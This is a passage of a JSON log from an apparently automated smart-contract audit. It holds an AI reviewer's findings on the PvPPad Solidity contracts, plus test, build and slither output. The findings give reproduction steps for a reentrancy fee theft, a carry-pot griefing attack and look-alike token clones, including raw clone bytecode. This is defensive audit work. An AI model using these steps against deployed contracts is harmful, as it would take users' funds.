= carryPot;\n        if (carry != 0) {\n            carryPot = 0;\n            IPadGame(game).fundPot{value: carry}();\n            emit CarryPaid(id, carry);\n        }","title":"Free, permissionless launch() moves the whole carry pot into a game that nobody has to enter; the ETH is then unreachable until a third party pays to enter and waits, and the griefer can repeat for ga"},{"citation":"resolved","description":"PadToken.initialize and PadGame.initialize (src/PadGame.sol:134) restrict nothing but the once-only flag. The templates themselves are protected (their constructors set initialized), but any account can deploy its own EIP-1167 proxy pointing at PvPPad.tokenTemplate and call initialize(\"Pepes Value Pepes\",\"PVP\", attacker, attacker). The clone has byte-identical code and the same implementation address as every official launch token, its name and symbol equal the genesis token, the attacker holds the whole 1e9 supply, and because `liquidity` is the attacker it can call unlock() and trade it freely. In-protocol funds are safe: PadLiquidity.graduate checks msg.sender == pad.gameOf(launchId), PvPPad.upkeepFor checks isGame, PadLiquidity.deployHook checks pad. So this is an impersonation and trust-surface issue, not a loss. Because the templates deploy before PvPPad they cannot take the pad as a constructor argument; the practical mitigation is to state in VERIFY.md and the later website brief that PvPPad.tokenOf/gameOf/isGame are the only source of truth and that neither bytecode nor name identifies an official launch token.","line":33,"path":"src/PadToken.sol","reproduction":"1) Read pad.tokenTemplate(). 2) From any EOA deploy `0x3d602d80600a3d3981f3363d3d373d3d3d363d73<template>5af43d82803e903d91602b57fd5bf3`. 3) Call initialize(\"Pepes Value Pepes\",\"PVP\", EOA, EOA) on the clone: succeeds, balanceOf(EOA) == 1e27, name()/symbol() equal the genesis token's. 4) Call unlock() from EOA: succeeds (liquidity == EOA). Expected: only PvPPad can initialize clones of the templates. Actual: anyone can.","severity":"low","snippet":"    function initialize(string calldata name_, string calldata symbol_, address game_, address liquidity_) external {\n        require(!initialized, \"initialized\");\n        initialized = true;","title":"Template initializers are callable by anyone on self-made EIP-1167 clones, producing look-alike PVP tokens and games that share the official implementation address"}],"hash":"eff67a9ffd522f0445c9f49611adba325b767dd17884ab689c7d3ba00fe3bb23","nodeId":"62f0a6fe-369b-4e55-877c-a3d341041e95","outcome":"completed","summary":"The review is complete. Findings and the full coverage record are in `.imd-findings.json`. No repository files were changed; only the findings file and two scratch tests under `test/scratch/` were written.\n\n**Scope covered.** I mapped every role, modifier and inline check across the five contracts (Access Control guide), compared the paired surfaces and branches (Asymmetry guide), and looked for seams where authorization and value flow interact (Trust Gap guide). All 38 verifier entry points have a coverage row. The full existing suite passes.\n\n**Findings**\n\n1. **Medium, `src/KingOfThePad.sol:72`.** The \"pay the outgoing king first\" step is a swallowed `try liquidity.distribute(8)`. PadLiquidity.claim hands full gas to the claimer while PadLiquidity's guard is held, so a former king with a claimable balance can call claim and, inside its receive, call takeCrown. The pre-crown distribute reverts with \"reentrancy\", the catch hides it, and the sitting king is dethroned without the fees that accrued during its reign. Those fees go to the attacker on the next distribute. Proof attached: `test/scratch/CrownReentry.t.sol` fails on the current code against the real v4 PoolManager (honest king received 0.011 ETH instead of about 0.211 ETH).\n\n2. **Medium, `src/PvPPad.sol:147`.** `launch()` is free and permissionless, and `_create` moves the entire carry pot into the new game. A game nobody enters can never end or finalize, so the ETH sits there with no outflow. Anyone can park the carry pot for gas alone whenever it is non-zero. Recovery needs a third party to pay 0.001 ETH and wait 20 minutes, after which the griefer can repeat. Verified with `test/scratch/CarryStrand.t.sol`: 0.5 ETH of king share stayed locked through a year of upkeep. Not attached as proof because it demonstrates rather than fails.\n\n3. **Low, `src/PadToken.sol:33`.** The template initializers only check the once-only flag, so anyone can clone the official templates and mint a look-alike \"PVP\" token with identical bytecode and implementation address. Funds are safe because every privileged path checks the registry, so this is impersonation only.\n\n**Not reached.** Randomness quality of the ArbSys seed, swap sandwich economics on burn and fee sales, and the v4 math paths are outside my three guides. I noted no defects there but did not trace them.","treeHash":null,"usage":{"cachedInputTokens":1535176,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":50393,"runtime":"claude","turns":37,"wallClockMs":937342}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"dbf9fa8b755f8ed6","findings":[],"hash":"f937014ff660e4b33cf3c1624904dd1bd05985b648832b58e03d7c0a709548d4","nodeId":"cd28e34e-aa69-45eb-9709-c3bee99a9005","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":4,"wallClockMs":657792}}],"verification":[{"checks":[{"durationMs":111139,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 110.99s\nCompiler run successful!\n","passed":true},{"durationMs":4768,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1017540)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 244034)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 8762013)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1001423)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 915634)\n[PASS] test_distributeWithoutKingEscrows() (gas: 750882)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 10349936)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 548486)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 10321540)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 955596)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1106492)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 4155375)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33110)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 272657)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 50.40ms (58.77ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 33500182)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 11818942\n  Later openPad including hook and genesis gas: 786390\n  Combined manifest and later opening gas: 12605332\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 65.57ms (65.38ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107380)\n[PASS] test_bindingsAreOneShot() (gas: 87880)\n[PASS] test_carryPotFundsNextLaunch() (gas: 11140285)\n[PASS] test_closedPadRevertsEverything() (gas: 103846)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 693311)\n[PASS] test_deployGasUnderBudget() (gas: 19924)\n[PASS] test_deployHookOnlyByPad() (gas: 31087)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 11781391)\n[PASS] test_fundGamesOnlyKing() (gas: 39647)\n[PASS] test_hookRejectsForeignInitialize() (gas: 1122672)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9069523)\n[PASS] test_launchValidatesStrings() (gas: 8244245)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 992984)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 1024447)\n[PASS] test_openPadOnlyOnce() (gas: 1065146)\n[PASS] test_openPadRejectsBadSalt() (gas: 213652)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 280832)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 1412514)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 31703996)\n[PASS] test_templatesCannotBeInitialized() (gas: 1163703)\n[PASS] test_upkeepForOnlyGames() (gas: 1201607)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 610.05ms (190.73ms CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryWaitsInThePadUntilARaffleSeatsFiveImps() (gas: 13609836)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 19944958)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 16965)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 9146971)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 9960432)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 1684058)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 10576758)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 394650000000000000\n  dump proceeds: 259263336672922540\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 8943750)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 8909675)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 612.00ms (249.09ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 8708771, ~: 8708858)\nLogs:\n  Bound result 18388529315714645403\n  Bound result 1770311666190782377\n  Bound result 3375\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 8984425, ~: 8984483)\nLogs:\n  Bound result 16079432639071641108\n  Bound result 47366815410138068573\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 12116609, ~: 11592293)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 8595193, ~: 8595227)\nLogs:\n  Bound result 3990000000000000000\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 5551780, ~: 4916179)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37232, ~: 37240)\nLogs:\n  Bound result 754867752364142765183308335\n  Bound result 686902517736954864\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21403, ~: 20999)\nLogs:\n  Bound result 85383438823593711864\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 37754, ~: 37951)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 8932629, ~: 10279018)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 612.19ms (3.37s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 3284611)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 3997525)\n[PASS] test_claimNothingReverts() (gas: 1175620)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 8925519)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 11673944)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 19558711)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 2544872)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 3441777)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 4997935)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 114470486)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3786900\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 32364293)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 16476123)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 13125081)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 2428673)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 3222660)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 1082199)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9180)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 2452215)\n[PASS] test_launchViewsRejectIdZero() (gas: 33175)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 2674467)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 9565110)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 8998546)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 7888350)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78238)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 993603)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 1033453)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 8807797)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9271309)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 9451632)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 3770882)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 2697197)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 8259228)\n[PASS] test_singleLivingImpTakesEverything() (gas: 4872018)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 2424546)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8289497)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 612.27ms (459.31ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 30889)\n[PASS] test_crownPrecollectsOnlyEightOfTenPools() (gas: 10273822)\nLogs:\n  takeCrown gas, ten real pools: 1644856\n\n[PASS] test_failedDistributorCannotBlockCrown() (gas: 8808995)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 14537922)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 9333235)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 8316601)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 1876146)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 3588008)\n[PASS] test_realTradingTokenFeesAreSoldForEthAndPaidToKing() (gas: 9004662)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.13s (1.29s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 134   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 88    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 85    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 84    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 215   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 192   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 15\n  Bound result 0\n  Bound result 10000000000\n  Bound result 10000000000\n  Bound result 912081\n  Bound result 0\n  Bound result 100\n  Bound result 2995000000000000245\n  Bound result 0\n  Bound result 5000000000000000\n  Bound result 2995000000000012726\n  Bound result 16384\n  Bound result 400000\n  Bound result 13755\n  Bound result 720\n  Bound result 122\n  Bound result 1306165815548362784\n  Bound result 0\n  Bound result 0\n  Bound result 56\n  Bound result 0\n  Bound result 640\n  Bound result 243\n  Bound result 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.57s (3.56s CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 1970146)\n[PASS] test_claimableWinner() (gas: 2474119)\n[PASS] test_conservationOfEth() (gas: 5132236)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 42540)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2266700)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2352869)\n[PASS] test_deathAndAllDeadEnd() (gas: 1869010)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1564044)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2394900)\n[PASS] test_failedPushBecomesClaimable() (gas: 1478454)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5034501)\n[PASS] test_finalizeRanksAndPays() (gas: 4462134)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1677522)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 108368586)\n[PASS] test_finalizerFeeCapped() (gas: 11555021)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1724289)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 366202)\n[PASS] test_fundPotOnlyPad() (gas: 44030)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 18091066)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3379036)\n[PASS] test_graduateOnlyFromGame() (gas: 71158)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 7369255)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1468580)\n[PASS] test_hardEndAt60Minutes() (gas: 3967211)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9214291)\n[PASS] test_resolveBatchIsEight() (gas: 6891231)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2222056)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1869920)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1791938)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1704100)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1425587)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1357619)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 2943627)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1513227)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2686561)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 4.59s (207.18ms CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 19572928, ~: 14848837)\nLogs:\n  Bound result 89\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116003834)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2640333\n  5000-entry draw total gas: 16166051\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 52229810)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 409784)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 608202)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8235485)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1046332)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 4833973)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 627477)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 686806)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 524318)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 49490136)\n[PASS] test_recommitOnlyBeforeSeedIfHashesExpire() (gas: 49144610)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 93439570)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1811021)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 4.59s (8.86s CPU time)\n\nRan 10 test suites in 4.60s (16.45s CPU time): 150 tests passed, 0 failed, 0 skipped (150 total tests)\n","passed":true},{"durationMs":112,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":201,\"docs/AUDIT.md\":256,\"docs/TEST-REPORT.md\":117,\"docs/VERIFY.md\":60,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":2,\"src/KingOfThePad.sol\":125,\"src/PadGame.sol\":663,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":372,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":291,\"src/interfaces/Interfaces.sol\":107,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":797,\"test/AtomicDeployment.t.sol\":101,\"test/Base.t.sol\":200,\"test/Fuzz.t.sol\":291,\"test/Game.t.sol\":758,\"test/Invariants.t.sol\":575,\"test/King.t.sol\":312,\"test/LiquidityV4.t.sol\":249,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":405,\"test/RealV4.sol\":79,\"test/Revision.t.sol\":264,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":58},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":8534,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/PadGame.sol:175: PadGame._draw(uint256) (src/PadGame.sol#175-230) uses a weak PRNG: \"threshold = (0 - remaining) % remaining (src/PadGame.sol#207)\"\n[high/medium] incorrect-exp at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:182: PvPPad.fundGames() (src/PvPPad.sol#182-212) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#206)\n[high/medium] msg-value-loop at src/PvPPad.sol:182: PvPPad.fundGames() (src/PvPPad.sol#182-212) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#206)\n[high/medium] msg-value-loop at src/PvPPad.sol:182: PvPPad.fundGames() (src/PvPPad.sol#182-212) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#207)\n[high/medium] reentrancy-eth at src/PadGame.sol:233: Reentrancy in PadGame.roll() (src/PadGame.sol#233-268):\n[high/medium] reentrancy-eth at src/PadGame.sol:295: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#295-307):\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:268: Reentrancy in PadLiquidity.claim() (src/PadLiquidity.sol#268-278):\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:58: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#58-102):\n[high/high] uninitialized-state at src/PadGame.sol:151: PadGame.entrants (src/PadGame.sol#96) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/PadGame.sol:544: PadGame._finalize(address) (src/PadGame.sol#544-606) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:149: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#149-179) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:544: PadGame._finalize(address) (src/PadGame.sol#544-606) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:235: PadLiquidity.burnChunk() (src/PadLiquidity.sol#235-248) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:175: PadGame._draw(uint256) (src/PadGame.sol#175-230) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:258: PvPPad.genesisFailed() (src/PvPPad.sol#258-261) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:175: PadGame._draw(uint256) (src/PadGame.sol#175-230) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:346: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#346-351) uses a dangerous strict equality:\n[medium/high] incorrect-equality at 